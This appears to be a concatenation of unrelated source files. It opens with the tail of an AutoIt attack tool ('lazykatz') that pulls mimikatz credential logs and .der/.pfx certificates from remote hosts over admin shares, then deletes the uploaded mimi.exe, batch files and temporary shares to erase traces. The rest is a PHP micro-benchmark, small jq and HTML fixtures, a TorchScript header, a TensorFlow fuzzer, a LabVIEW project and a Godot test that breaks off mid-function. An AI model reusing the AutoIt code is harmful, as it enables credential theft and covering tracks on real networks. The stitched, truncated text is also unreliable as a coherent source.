Sleep(10000)
WEnd
EndIf
;--------------------------------
logprint("Executed lazy.bat on target" & @CRLF)
;COPY MIMIKATZ.LOG FROM TARGET AND CLEAN TARGET
if $method = "psexec" Then
if _IsChecked($check1) Then
logprint("Copying mimikatz.log from target" & @CRLF)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\c$\windows\temp\mimikatz.log "&$dir&"\mimikatz_"&$ip&".log" ,"",@SW_HIDE,0x10000)
EndIf
if _IsChecked($check2) Then
logprint("Copying certificates from target" & @CRLF)
RunWait(@ComSpec & " /C " & "mkdir "&$dir&"\certs_"&$ip,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\c$\windows\temp\*.der "&$dir&"\certs_"&$ip&"\" ,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\c$\windows\temp\*.pfx "&$dir&"\certs_"&$ip&"\" ,"",@SW_HIDE,0x10000)
EndIf
logprint("Cleaning uploded files and established session" & @CRLF)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\katz.cs","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\mimikatz.log","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\*.der","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\*.pfx","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\mimi.exe","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\c$\windows\temp\lazy.bat","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "net use \\"&$ip&"\c$ /delete","",@SW_HIDE,0x10000)
EndIf
if $method = "wmic" Then
While FileGetSize("\\"&$ip&"\test$\mimikatz.log") = 0
Sleep(1000)
WEnd
logprint("Cleaning uploded files" & @CRLF)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\katz.cs","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\mimi.exe","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\lazy.bat","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\test.bat","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\framework.txt","",@SW_HIDE,0x10000)
if _IsChecked($check1) Then
logprint("Copying mimikatz.log from target" & @CRLF)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\test$\mimikatz.log "&$dir&"\mimikatz_"&$ip&".log" ,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\mimikatz.log","",@SW_HIDE,0x10000)
EndIf
if _IsChecked($check2) Then
logprint("Copying certificates from target" & @CRLF)
RunWait(@ComSpec & " /C " & "mkdir "&$dir&"\certs_"&$ip,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\test$\*.der "&$dir&"\certs_"&$ip&"\" ,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "copy /Y \\"&$ip&"\test$\*.pfx "&$dir&"\certs_"&$ip&"\" ,"",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\*.der","",@SW_HIDE,0x10000)
RunWait(@ComSpec & " /C " & "del /F \\"&$ip&"\test$\*.pfx","",@SW_HIDE,0x10000)
EndIf
While FileExists("\\"&$ip&"\test$")
logprint("Disabling temporary remote share" & @CRLF)
RunWait(@ComSpec & " /C " & 'wmic /output:wlog.txt /node:'&$ip&' /user:'&$user&' /password:'&$pass &' SHARE where name="test$" call delete',"",@SW_HIDE,0x10000)
sleep(1000)
WEnd
EndIf
;--------------------------------
EndIf
EndIf
Next
FileClose($list)
MsgBox("","","Attack finished.")
Exit
EndFunc
func logprint($catch)
$log &= $catch & @CRLF
_GUICtrlEdit_SetText($idEdit, $log)
_GUICtrlEdit_LineScroll($idEdit, 0, _GUICtrlEdit_GetLineCount($idEdit))
EndFunc
| AutoIt | 2 | H1d3r/lazykatz | src/katz.au3 | [
"CC-BY-4.0"
] |
<?php
function hallo() {
}
function simpleucall($n) {
for ($i = 0; $i < $n; $i++)
hallo();
}
function simpleudcall($n) {
for ($i = 0; $i < $n; $i++)
hallo2();
}
function hallo2() {
}
function simpleicall($n) {
for ($i = 0; $i < $n; $i++)
func_num_args();
}
class Foo {
static $a = 0;
public $b = 0;
const TEST = 0;
static function read_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = self::$a;
}
}
static function write_static($n) {
for ($i = 0; $i < $n; ++$i) {
self::$a = 0;
}
}
static function isset_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = isset(self::$a);
}
}
static function empty_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = empty(self::$a);
}
}
static function f() {
}
static function call_static($n) {
for ($i = 0; $i < $n; ++$i) {
self::f();
}
}
function read_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$x = $this->b;
}
}
function write_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$this->b = 0;
}
}
function assign_add_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$this->b += 2;
}
}
function pre_inc_prop($n) {
for ($i = 0; $i < $n; ++$i) {
++$this->b;
}
}
function pre_dec_prop($n) {
for ($i = 0; $i < $n; ++$i) {
--$this->b;
}
}
function post_inc_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$this->b++;
}
}
function post_dec_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$this->b--;
}
}
function isset_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$x = isset($this->b);
}
}
function empty_prop($n) {
for ($i = 0; $i < $n; ++$i) {
$x = empty($this->b);
}
}
function g() {
}
function call($n) {
for ($i = 0; $i < $n; ++$i) {
$this->g();
}
}
function read_const($n) {
for ($i = 0; $i < $n; ++$i) {
$x = $this::TEST;
}
}
}
function read_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = Foo::$a;
}
}
function write_static($n) {
for ($i = 0; $i < $n; ++$i) {
Foo::$a = 0;
}
}
function isset_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = isset(Foo::$a);
}
}
function empty_static($n) {
for ($i = 0; $i < $n; ++$i) {
$x = empty(Foo::$a);
}
}
function call_static($n) {
for ($i = 0; $i < $n; ++$i) {
Foo::f();
}
}
function create_object($n) {
for ($i = 0; $i < $n; ++$i) {
$x = new Foo();
}
}
define('TEST', null);
function read_const($n) {
for ($i = 0; $i < $n; ++$i) {
$x = TEST;
}
}
function read_auto_global($n) {
for ($i = 0; $i < $n; ++$i) {
$x = $_GET;
}
}
$g_var = 0;
function read_global_var($n) {
for ($i = 0; $i < $n; ++$i) {
$x = $GLOBALS['g_var'];
}
}
function read_hash($n) {
$hash = array('test' => 0);
for ($i = 0; $i < $n; ++$i) {
$x = $hash['test'];
}
}
function read_str_offset($n) {
$str = "test";
for ($i = 0; $i < $n; ++$i) {
$x = $str[1];
}
}
function issetor($n) {
$val = array(0,1,2,3,4,5,6,7,8,9);
for ($i = 0; $i < $n; ++$i) {
$x = $val ?: null;
}
}
function issetor2($n) {
$f = false; $j = 0;
for ($i = 0; $i < $n; ++$i) {
$x = $f ?: $j + 1;
}
}
function ternary($n) {
$val = array(0,1,2,3,4,5,6,7,8,9);
$f = false;
for ($i = 0; $i < $n; ++$i) {
$x = $f ? null : $val;
}
}
function ternary2($n) {
$f = false; $j = 0;
for ($i = 0; $i < $n; ++$i) {
$x = $f ? $f : $j + 1;
}
}
/*****/
function empty_loop($n) {
for ($i = 0; $i < $n; ++$i) {
}
}
function gethrtime()
{
$hrtime = hrtime();
return (($hrtime[0]*1000000000 + $hrtime[1]) / 1000000000);
}
function start_test()
{
ob_start();
return gethrtime();
}
function end_test($start, $name, $overhead = null)
{
global $total;
global $last_time;
$end = gethrtime();
ob_end_clean();
$last_time = $end-$start;
$total += $last_time;
$num = number_format($last_time,3);
$pad = str_repeat(" ", 24-strlen($name)-strlen($num));
if (is_null($overhead)) {
echo $name.$pad.$num."\n";
} else {
$num2 = number_format($last_time - $overhead,3);
echo $name.$pad.$num." ".$num2."\n";
}
ob_start();
return gethrtime();
}
function total()
{
global $total;
$pad = str_repeat("-", 24);
echo $pad."\n";
$num = number_format($total,3);
$pad = str_repeat(" ", 24-strlen("Total")-strlen($num));
echo "Total".$pad.$num."\n";
}
const N = 5000000;
$t0 = $t = start_test();
empty_loop(N);
$t = end_test($t, 'empty_loop');
$overhead = $last_time;
simpleucall(N);
$t = end_test($t, 'func()', $overhead);
simpleudcall(N);
$t = end_test($t, 'undef_func()', $overhead);
simpleicall(N);
$t = end_test($t, 'int_func()', $overhead);
Foo::read_static(N);
$t = end_test($t, '$x = self::$x', $overhead);
Foo::write_static(N);
$t = end_test($t, 'self::$x = 0', $overhead);
Foo::isset_static(N);
$t = end_test($t, 'isset(self::$x)', $overhead);
Foo::empty_static(N);
$t = end_test($t, 'empty(self::$x)', $overhead);
read_static(N);
$t = end_test($t, '$x = Foo::$x', $overhead);
write_static(N);
$t = end_test($t, 'Foo::$x = 0', $overhead);
isset_static(N);
$t = end_test($t, 'isset(Foo::$x)', $overhead);
empty_static(N);
$t = end_test($t, 'empty(Foo::$x)', $overhead);
Foo::call_static(N);
$t = end_test($t, 'self::f()', $overhead);
call_static(N);
$t = end_test($t, 'Foo::f()', $overhead);
$x = new Foo();
$x->read_prop(N);
$t = end_test($t, '$x = $this->x', $overhead);
$x->write_prop(N);
$t = end_test($t, '$this->x = 0', $overhead);
$x->assign_add_prop(N);
$t = end_test($t, '$this->x += 2', $overhead);
$x->pre_inc_prop(N);
$t = end_test($t, '++$this->x', $overhead);
$x->pre_dec_prop(N);
$t = end_test($t, '--$this->x', $overhead);
$x->post_inc_prop(N);
$t = end_test($t, '$this->x++', $overhead);
$x->post_dec_prop(N);
$t = end_test($t, '$this->x--', $overhead);
$x->isset_prop(N);
$t = end_test($t, 'isset($this->x)', $overhead);
$x->empty_prop(N);
$t = end_test($t, 'empty($this->x)', $overhead);
$x->call(N);
$t = end_test($t, '$this->f()', $overhead);
$x->read_const(N);
$t = end_test($t, '$x = Foo::TEST', $overhead);
create_object(N);
$t = end_test($t, 'new Foo()', $overhead);
read_const(N);
$t = end_test($t, '$x = TEST', $overhead);
read_auto_global(N);
$t = end_test($t, '$x = $_GET', $overhead);
read_global_var(N);
$t = end_test($t, '$x = $GLOBALS[\'v\']', $overhead);
read_hash(N);
$t = end_test($t, '$x = $hash[\'v\']', $overhead);
read_str_offset(N);
$t = end_test($t, '$x = $str[0]', $overhead);
issetor(N);
$t = end_test($t, '$x = $a ?: null', $overhead);
issetor2(N);
$t = end_test($t, '$x = $f ?: tmp', $overhead);
ternary(N);
$t = end_test($t, '$x = $f ? $f : $a', $overhead);
ternary2(N);
$t = end_test($t, '$x = $f ? $f : tmp', $overhead);
total($t0, "Total");
| PHP | 3 | thiagooak/php-src | Zend/micro_bench.php | [
"PHP-3.01"
] |
def e: 1;
def e: 2;
| JSONiq | 0 | aakropotkin/jq | tests/modules/shadow1.jq | [
"CC-BY-3.0"
] |
<div>
<p>nested</p>
</div> | HTML | 0 | Theo-Steiner/svelte | test/hydration/samples/element-nested/_before.html | [
"MIT"
] |
#pragma once
#include <torch/csrc/jit/ir/ir.h>
namespace torch {
namespace jit {
// Peephole Optimizes List ops such as len(li) and li[1].
// 1. Construct/Unpack optimizations
// Given a function like this:
// def foo(a, b):
// li = [a, b]
// x, y = li
// return x, y
// This pass produces (after dead code elimination):
// def foo(a, b):
// return a, b
//
// This is only applied to lists that are not modified.
//
// 2. getitem optimizations
// Given a function like this:
// def foo(a, b):
// li = [a, b]
// x = li[0]
// return x
// This pass produces (after dead code elimination):
// def foo(a, b):
// return a
//
// This optimization can only happen if the list is not modified.
//
// 3. len optimizations
// Given a function like this:
// def foo():
// li = [1, 2]
// return len(li)
// This pass produces (after dead code elimination):
// def foo():
// return 2
//
// This has the same requirements as the getitem optimizations.
//
// 4. ListConstruct + ListConstruct
// Given a function like this:
// def foo():
// return [1, 2] + [3, 4]
// This pass produces (after dead code elimination):
// def foo():
// return [1, 2, 3, 4]
//
// This is only applied to lists that are not modified.
//
// 5. Slice
// Given a function like this:
// def foo():
// return [1, 2, 3, 4, 5][0:2]
// This pass produces (after deadcode elimination):
// def foo():
// return [1, 2]
//
// Currently this is invoked as part of PeepholeOptimize
// return true if graph is modified.
// If `refine_list_len` is true will attempt to refine the len of lists through
// len comparisons and assertions. This does not generally optimize pytorch
// programs so it is not called by default in PeepholeOptimize.
TORCH_API bool PeepholeOptimizeListIdioms(
const std::shared_ptr<Graph>& graph,
bool refine_list_len = false);
} // namespace jit
} // namespace torch
| C | 5 | xiaohanhuang/pytorch | torch/csrc/jit/passes/peephole_list_idioms.h | [
"Intel"
] |
(defn _null-fn-for-import-test []
pass)
| Hy | 0 | lafrenierejm/hy | tests/resources/bin/__init__.hy | [
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <fuzzer/FuzzedDataProvider.h>
#include <cstdint>
#include <cstdlib>
#include "tensorflow/core/framework/bfloat16.h"
#include "tensorflow/core/platform/test.h"
// This is a fuzzer for tensorflow::FloatToBFloat16 and
// tensorflow::BFloat16ToFloat.
namespace {
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
FuzzedDataProvider fuzzed_data(data, size);
const int array_size = 100;
float float_originals[array_size];
for (int i = 0; i < array_size; ++i) {
float_originals[i] = fuzzed_data.ConsumeFloatingPointInRange(1.0f, 1000.0f);
}
tensorflow::bfloat16 bfloats[array_size];
float floats_converted[array_size];
tensorflow::FloatToBFloat16(float_originals, bfloats, array_size);
tensorflow::BFloat16ToFloat(bfloats, floats_converted, array_size);
for (int i = 0; i < array_size; ++i) {
// The relative error should be less than 1/(2^7) since bfloat16
// has 7 bits mantissa.
// Copied this logic from bfloat16_test.cc
assert(fabs(floats_converted[i] - float_originals[i]) / float_originals[i] <
1.0 / 128);
}
return 0;
}
} // namespace
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/security/fuzzing/bfloat16_fuzz.cc | [
"Apache-2.0"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="13008000">
<Property Name="SMProvider.SMVersion" Type="Int">201310</Property>
<Item Name="My Computer" Type="My Computer">
<Property Name="IOScan.Faults" Type="Str"></Property>
<Property Name="IOScan.NetVarPeriod" Type="UInt">100</Property>
<Property Name="IOScan.NetWatchdogEnabled" Type="Bool">false</Property>
<Property Name="IOScan.Period" Type="UInt">10000</Property>
<Property Name="IOScan.PowerupMode" Type="UInt">0</Property>
<Property Name="IOScan.Priority" Type="UInt">9</Property>
<Property Name="IOScan.ReportModeConflict" Type="Bool">true</Property>
<Property Name="IOScan.StartEngineOnDeploy" Type="Bool">false</Property>
<Property Name="NI.SortType" Type="Int">3</Property>
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="Compatability" Type="Folder">
<Item Name="AMC Check Message Queue Status.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Check Message Queue Status.vi"/>
<Item Name="AMC Create Message Queue.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Create Message Queue.vi"/>
<Item Name="AMC Create Message.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Create Message.vi"/>
<Item Name="AMC Destroy Message Queue.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Destroy Message Queue.vi"/>
<Item Name="AMC Dispatch Get All Queues.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch Get All Queues.vi"/>
<Item Name="AMC Dispatch Ping.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch Ping.vi"/>
<Item Name="AMC Dispatch PingAll.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch PingAll.vi"/>
<Item Name="AMC Dispatch Start.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch Start.vi"/>
<Item Name="AMC Dispatch Stop.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch Stop.vi"/>
<Item Name="AMC Dispatch Verify Queue.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatch Verify Queue.vi"/>
<Item Name="AMC Dispatcher.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Dispatcher.vi"/>
<Item Name="AMC Flush Message Queue.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Flush Message Queue.vi"/>
<Item Name="AMC QR Add Queue .vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC QR Add Queue .vi"/>
<Item Name="AMC QR Get All Queues.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC QR Get All Queues.vi"/>
<Item Name="AMC QR Get Queue .vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC QR Get Queue .vi"/>
<Item Name="AMC Queue Registry.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Queue Registry.vi"/>
<Item Name="AMC Read Next Message.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Read Next Message.vi"/>
<Item Name="AMC Send Local Message.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Send Local Message.vi"/>
<Item Name="AMC Send Local Messages.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Send Local Messages.vi"/>
<Item Name="AMC Send Message.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Send Message.vi"/>
<Item Name="AMC Send Network Message.vi" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/AMC Send Network Message.vi"/>
<Item Name="amc_Message Queue.ctl" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/amc_Message Queue.ctl"/>
<Item Name="amc_Message.ctl" Type="VI" URL="../source/vi.lib/NI/AMC/Compatibility/amc_Message.ctl"/>
</Item>
<Item Name="examples" Type="Folder">
<Item Name="AMC" Type="Folder">
<Item Name="Multiple Local Processes" Type="Folder">
<Item Name="AMC Local Process 1.vi" Type="VI" URL="../source/examples/AMC/Multiple Local Processes/AMC Local Process 1.vi"/>
<Item Name="AMC Local Process 2.vi" Type="VI" URL="../source/examples/AMC/Multiple Local Processes/AMC Local Process 2.vi"/>
<Item Name="AMC Multiple Local Processes.lvproj" Type="Document" URL="../source/examples/AMC/Multiple Local Processes/AMC Multiple Local Processes.lvproj"/>
</Item>
<Item Name="Multiple Targets" Type="Folder">
<Item Name="Target1" Type="Folder">
<Item Name="AMC Multiple Targets Example 1.vi" Type="VI" URL="../source/examples/AMC/Multiple Targets/Target1/AMC Multiple Targets Example 1.vi"/>
</Item>
<Item Name="Target2" Type="Folder">
<Item Name="AMC Multiple Targets Example 2 (RT).vi" Type="VI" URL="../source/examples/AMC/Multiple Targets/Target2/AMC Multiple Targets Example 2 (RT).vi"/>
</Item>
<Item Name="AMC Multiple Targets.lvproj" Type="Document" URL="../source/examples/AMC/Multiple Targets/AMC Multiple Targets.lvproj"/>
</Item>
<Item Name="Simple Clock" Type="Folder">
<Item Name="AMC Simple Clock RTM.rtm" Type="Document" URL="../source/examples/AMC/Simple Clock/AMC Simple Clock RTM.rtm"/>
<Item Name="AMC Simple Clock Style.ctl" Type="VI" URL="../source/examples/AMC/Simple Clock/AMC Simple Clock Style.ctl"/>
<Item Name="AMC Simple Clock.lvproj" Type="Document" URL="../source/examples/AMC/Simple Clock/AMC Simple Clock.lvproj"/>
<Item Name="AMC Simple Clock.vi" Type="VI" URL="../source/examples/AMC/Simple Clock/AMC Simple Clock.vi"/>
<Item Name="clockconfig.ini" Type="Document" URL="../source/examples/AMC/Simple Clock/clockconfig.ini"/>
</Item>
<Item Name="Single Local Process" Type="Folder">
<Item Name="AMC Local Process.vi" Type="VI" URL="../source/examples/AMC/Single Local Process/AMC Local Process.vi"/>
</Item>
<Item Name="Three Button Dialog" Type="Folder">
<Item Name="AMC Three Button Dialog Launcher.vi" Type="VI" URL="../source/examples/AMC/Three Button Dialog/AMC Three Button Dialog Launcher.vi"/>
<Item Name="AMC Three Button Dialog.lvproj" Type="Document" URL="../source/examples/AMC/Three Button Dialog/AMC Three Button Dialog.lvproj"/>
<Item Name="AMC Three Button Dialog.vi" Type="VI" URL="../source/examples/AMC/Three Button Dialog/AMC Three Button Dialog.vi"/>
</Item>
</Item>
</Item>
<Item Name="AMC.lvlib" Type="Library" URL="../source/vi.lib/NI/AMC/AMC.lvlib"/>
<Item Name="AMC Templates.lvlib" Type="Library" URL="../source/vi.lib/NI/AMC/Templates/AMC Templates.lvlib"/>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="Trim Whitespace.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Trim Whitespace.vi"/>
<Item Name="whitespace.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/whitespace.ctl"/>
<Item Name="Clear Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Clear Errors.vi"/>
<Item Name="Simple Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Simple Error Handler.vi"/>
<Item Name="DialogType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogType.ctl"/>
<Item Name="General Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler.vi"/>
<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogTypeEnum.ctl"/>
<Item Name="General Error Handler CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler CORE.vi"/>
<Item Name="Check Special Tags.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Check Special Tags.vi"/>
<Item Name="TagReturnType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/TagReturnType.ctl"/>
<Item Name="Set String Value.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set String Value.vi"/>
<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetRTHostConnectedProp.vi"/>
<Item Name="Error Code Database.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Code Database.vi"/>
<Item Name="Format Message String.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Format Message String.vi"/>
<Item Name="Find Tag.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Find Tag.vi"/>
<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Search and Replace Pattern.vi"/>
<Item Name="Set Bold Text.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set Bold Text.vi"/>
<Item Name="Details Display Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Details Display Dialog.vi"/>
<Item Name="ErrWarn.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/ErrWarn.ctl"/>
<Item Name="eventvkey.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/eventvkey.ctl"/>
<Item Name="Not Found Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Not Found Dialog.vi"/>
<Item Name="Three Button Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog.vi"/>
<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog CORE.vi"/>
<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Longest Line Length in Pixels.vi"/>
<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Convert property node font to graphics font.vi"/>
<Item Name="Get Text Rect.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Get Text Rect.vi"/>
<Item Name="Get String Text Bounds.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Get String Text Bounds.vi"/>
<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
<Item Name="BuildHelpPath.vi" Type="VI" URL="/<vilib>/Utility/error.llb/BuildHelpPath.vi"/>
<Item Name="GetHelpDir.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetHelpDir.vi"/>
<Item Name="Tools_KeyedArray.lvlib" Type="Library" URL="/<vilib>/NI/Tools/Keyed Array/Tools_KeyedArray.lvlib"/>
<Item Name="Tools_String.lvlib" Type="Library" URL="/<vilib>/NI/Tools/String/Tools_String.lvlib"/>
<Item Name="NI_FTP.lvlib" Type="Library" URL="/<vilib>/FTP/NI_FTP.lvlib"/>
<Item Name="NI_LVConfig.lvlib" Type="Library" URL="/<vilib>/Utility/config.llb/NI_LVConfig.lvlib"/>
<Item Name="8.6CompatibleGlobalVar.vi" Type="VI" URL="/<vilib>/Utility/config.llb/8.6CompatibleGlobalVar.vi"/>
<Item Name="Check if File or Folder Exists.vi" Type="VI" URL="/<vilib>/Utility/libraryn.llb/Check if File or Folder Exists.vi"/>
<Item Name="NI_FileType.lvlib" Type="Library" URL="/<vilib>/Utility/lvfile.llb/NI_FileType.lvlib"/>
<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Cluster From Error Code.vi"/>
<Item Name="NI_PackedLibraryUtility.lvlib" Type="Library" URL="/<vilib>/Utility/LVLibp/NI_PackedLibraryUtility.lvlib"/>
<Item Name="Space Constant.vi" Type="VI" URL="/<vilib>/dlg_ctls.llb/Space Constant.vi"/>
</Item>
</Item>
<Item Name="Build Specifications" Type="Build"/>
</Item>
</Project>
| LabVIEW | 3 | NISystemsEngineering/AsynchronousMessageCommunication | AMC Development.lvproj | [
"Apache-2.0"
] |
extends TestCharacter
const OPTION_TEST_CASE_ALL = "Test Cases/TEST ALL (0)"
const OPTION_TEST_CASE_JUMP_ONE_WAY_RIGID = "Test Cases/Jump through one-way tiles (Rigid Body)"
const OPTION_TEST_CASE_JUMP_ONE_WAY_KINEMATIC = "Test Cases/Jump through one-way tiles (Kinematic Body)"
const OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_RIGID = "Test Cases/Jump through one-way corner (Rigid Body)"
const OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_KINEMATIC = "Test Cases/Jump through one-way corner (Kinematic Body)"
const OPTION_TEST_CASE_FALL_ONE_WAY_KINEMATIC = "Test Cases/Fall and pushed on one-way tiles (Kinematic Body)"
var _test_jump_one_way = false
var _test_jump_one_way_corner = false
var _test_fall_one_way = false
var _extra_body = null
var _failed_reason = ""
func _ready():
options.add_menu_item(OPTION_TEST_CASE_ALL)
options.add_menu_item(OPTION_TEST_CASE_JUMP_ONE_WAY_RIGID)
options.add_menu_item(OPTION_TEST_CASE_JUMP_ONE_WAY_KINEMATIC)
options.add_menu_item(OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_RIGID)
options.add_menu_item(OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_KINEMATIC)
options.add_menu_item(OPTION_TEST_CASE_FALL_ONE_WAY_KINEMATIC)
func _input(event):
var key_event = event as InputEventKey
if key_event and not key_event.pressed:
if key_event.scancode == KEY_0:
_on_option_selected(OPTION_TEST_CASE_ALL)
func _on_option_selected(option):
match option:
OPTION_TEST_CASE_ALL:
_test_all()
OPTION_TEST_CASE_JUMP_ONE_WAY_RIGID:
_start_test_case(option)
return
OPTION_TEST_CASE_JUMP_ONE_WAY_KINEMATIC:
_start_test_case(option)
return
OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_RIGID:
_start_test_case(option)
return
OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_KINEMATIC:
_start_test_case(option)
return
OPTION_TEST_CASE_FALL_ONE_WAY_KINEMATIC:
_start_test_case(option)
return
._on_option_selected(option)
func _start_test_case(option):
Log.print_log("* Starting " + option)
match option:
OPTION_TEST_CASE_JUMP_ONE_WAY_RIGID:
_body_type = E_BodyType.RIGID_BODY
_test_jump_one_way_corner = false
yield(_start_jump_one_way(), "completed")
OPTION_TEST_CASE_JUMP_ONE_WAY_KINEMATIC:
_body_type = E_BodyType.KINEMATIC_BODY
_test_jump_one_way_corner = false
yield(_start_jump_one_way(), "completed")
OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_RIGID:
_body_type = E_BodyType.RIGID_BODY
_test_jump_one_way_corner = true
yield(_start_jump_one_way(), "completed")
OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_KINEMATIC:
